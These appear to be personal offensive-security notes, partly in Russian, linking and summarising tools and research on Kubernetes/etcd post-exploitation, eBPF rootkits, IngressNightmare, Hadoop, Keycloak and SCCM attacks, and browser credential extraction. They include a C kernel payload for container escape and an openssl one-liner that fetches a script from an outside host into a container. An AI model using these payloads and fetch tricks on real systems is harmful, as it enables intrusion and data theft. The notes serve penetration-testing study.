offsec notes

Post-exploiting a compromised etcd – Full control over the kubernetes cluster and its nodes

* Persistence * Resources hiding * Bypassing AdmissionControllers

Заинтересовала тема с eBPF, поэтому в качестве эксперимента решил сделать вот такой проект https://github.com/cotsom/eBPF-rootkit/

* Бекдор через отправку парольной фразы в tcp пакете * Сокрытие pid'а процесса (этот функционал взят из bad-bpf, но загрузчик переписан на Go)

По сокрытию pid есть хорошие статьи с разбором взятого примера eBPF program creation in practice – PID concealment (Part 1) eBPF in practice – PID concealment (Part 2)

Hide PID in linux with eBPF * eBPF program creation in practice – PID concealment (Part 1) * eBPF in practice – PID concealment (Part 2)

eBPF eBPF: A new frontier for malware

* What is eBPF? * Lifetime of an eBPF program * kprobes, uprobes, and tracepoints * eXpress Data Path (XDP) * Traffic Control (TC) * Prevention * Detection

Bad-bpf- A collection of eBPF programs demonstrating bad behavior, presented at DEF CON 29 ebpfkit - rootkit powered by eBPF With Friends Like eBPF, Who Needs Enemies? - Black hat USA 2021 research

Gitlab CI/CD Attacking GitLab CI/CD via Shared Runners

* A Standard Poisoned Pipeline * Shared Docker-in-Docker Runners and Privileged Containers * The Shared Instance-Level Runner * Attacking Docker-in-Docker Shared Runners * Remediation - Hardening the CI/CD Infra * Shell Executors

Link

IngressNightmare Уязвимость существует на этапе проверки Admission Controller'ом входящего объекта Ingress, из которого создается конфигурация Nginx и проверяется с помощью nginx -t, что ведет к

CVE-2025-24514 - auth-url Annotation Injection CVE-2025-1097 - auth-tls-match-cn Annotation Injection CVE-2025-1098 - mirror UID Injection CVE-2025-1974 - NGINX Configuration Code Execution

Detect exposed Ingress NGINX Admission Controller - Nuclei Template Create admission review requests from Ingress resource manifests, which could then be sent directly to the admission controller via HTTP - kube-review PoC Full WIZ research - IngressNightmare: 9.8 Critical Unauthenticated Remote Code Execution Vulnerabilities in Ingress NGINX

Container escape using kernel exploitation & Seccomp bypass via manipulating the container’s namespaces exploit from article

void get_root_payload( void) {

        ((_commit_creds)(COMMIT_CREDS))(
                ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)
        );

        // -------- NAMESPACE DOCKER EXPLOIT  --------
        // copy nsproxy from init_nsproxy to pid 1 of the container
        unsigned long long g = ((_find_task_vpid)(FIND_TASK))(1);

        // now, do the magic.... !!!! Simple black magic doesn't work on current process!!!!
        ((_switch_task_namespaces)(SWITCH_TASK_NS))(( void *)g, (void *)INIT_NSPROXY);

        // prepare the two namespace FDs by opening the respective files
        long fd = ((_do_sys_open)(DO_SYS_OPEN))( AT_FDCWD, "/proc/1/ns/mnt", O_RDONLY, 0);
        ((_sys_setns)(SYS_SETNS))( fd, 0);

        fd      = ((_do_sys_open)(DO_SYS_OPEN))( AT_FDCWD, "/proc/1/ns/pid", O_RDONLY, 0);
        ((_sys_setns)(SYS_SETNS))( fd, 0);
}

The above code can be used in any future privilege escalation vulnerability found in the Linux kernel to escape a containerized environment. Link

Nmap-did-what Nmap-did-what is a Grafana docker container and a Python script to parse Nmap XML output to an SQLite database. The SQLite database is used as a datasource within Grafana to view the Nmap scan details in a dashboard. The project consists of two main components:

* A Python script that parses Nmap XML output and stores the data in an SQLite database. * A Grafana Docker container with a pre-configured dashboard for visualizing the Nmap scan data.

Link

Hadoop pentest Hadoop Attack Library - A collection of pentest tools and resources targeting Hadoop environments This repository is composed of two kind of information and organised accordingly:

* Tools, Techniques and Procedures to attack an Hadoop environment * Key vulnerabilities on Hadoop components (Hadoop Common, HDFS, YARN etc.) * Key vulnerabilities in third-party components often used in Hadoop environments

Apache Hadoop Pentesting - Exploits notes with the following sections

* Authenticate using Keytab * Impersonate Another Hadoop Service * HDFS Command Cheat Sheet * RCE

Kubernetes security fundamentals Introduction

* Complications of talking about Kubernetes security * Managed and unmanaged Kubernetes distributions * Areas of discussion

API Security

* Kubernetes components and ports - Unmanaged Kubernetes - Managed Kubernetes * Securing Kubernetes APIs

Authentication

* Kubernetes authentication principles - Internal Kubernetes authentication methods - Static token authentication - Bootstrap tokens - X.509 client certificates - Service account tokens * External authentication methods - OpenID Connect (OIDC) - Webhook token authentication - Authenticating proxy - Impersonating proxy * Authentication for other Kubernetes components - Kubelet - Controller manager and scheduler - Kube-proxy - Etcd

Authorization

* Kubernetes authorization principles * Kubernetes authorization modules - AlwaysAllow and AlwaysDeny - Node Authorizer - ABAC - RBAC - Webhook * Authorization for other Kubernetes components - Kubelet - Scheduler and Controller Manager

Admission Control

* Admission control overview - Internal admission controllers - External admission controllers * Risks of implementing external admission control - Using admission control for pod security

Networking

* Network trust zones * Introduction to CNI * Managing network access in Kubernetes * Securing the cluster network * Conclusion * Appendix - Setting up a demonstration environment

HackBrowserData is a command-line tool for decrypting and exporting browser data

* passwords * history * cookies * bookmarks * download history * localStorage * extensions

It supports the most popular browsers on the market and runs on Windows, macOS and Linux Link

Keycloak pentest Articles Part 1 - Link

* Am I Testing Keycloak? * Keycloak Version Information * OpenID Configuration /SAML Descriptor * Realms (Enumeration && Self-Registration Enabled) * Client IDs * Scopes * Grants * Identity Providers * Roles * User Email Enumeration

Part2 - Link

Reconnaissance * Additional Services and Ports * Interesting Local Files * Reconnaissance Conclusion Exploitation * Brute Force Login * Bypassing/Automating CSRF * JWT Signing Algorithms * Make the most out of your scopes/roles * offline_access * uma_authorization * profile * email * address * phone

Tools Keycloak security scanner - Link * Начиная с keycloak 17.0+ роут /auth в URL должен быть пропущен (/realms/realm_name/)

SCCMHunter SCCMHunter is a post-ex tool built to streamline identifying, profiling, and attacking SCCM related assets in an Active Directory domain contains modules such as

* admin * dpapi * http * mssql * smb

Link

CSP Bypass Techniques Link

Netfetch Scan your Kubernetes clusters to identifiy unprotected workloads and map your existing Network policies

* Visualize network policies and pods in a interactive network map * Scan cluster identify pods without network policies * Create default deny network policies where this is missing * Get suggestions for network policies based on existing workloads

Link

darkPulse darkPulse is a shellcode packer written in Go that is used to create various shellcode loaders

Nginxpwner - is a simple tool to look for common Nginx misconfigurations and vulnerabilities Install using Docker

git clone https://github.com/stark0de/nginxpwner
cd nginxpwner
sudo docker build -t nginxpwner:latest .
sudo docker run -it nginxpwner:latest /bin/bash

It actually checks for

* Gets Ngnix version and gets its possible exploits using searchsploit and tells if it is outdated * Throws a wordlist specific to Nginx via gobuster * Checks if it is vulnerable to CRLF via a common misconfiguration of using $uri in redirects * Checks for CRLF in all of the paths provided * Checks if the PURGE HTTP method is available from the outside * Checks for variable leakage misconfiguration etc

Bring file to container without curl/wget etc you can send http requests using OpenSSL Download deepce

(echo -ne "GET /stealthcopter/deepce/main/deepce.sh HTTP/1.1\r\nHost: raw.githubusercontent.com\r\nConnection: close\r\n\r\n"; sleep 3) | openssl s_client -connect raw.githubusercontent.com:443 -quiet > deepce.sh

Download from inside a container using only bash Corrected script to work properly with python server - Link

URL=http://localhost:8000/file OUTPUT=file ./get.sh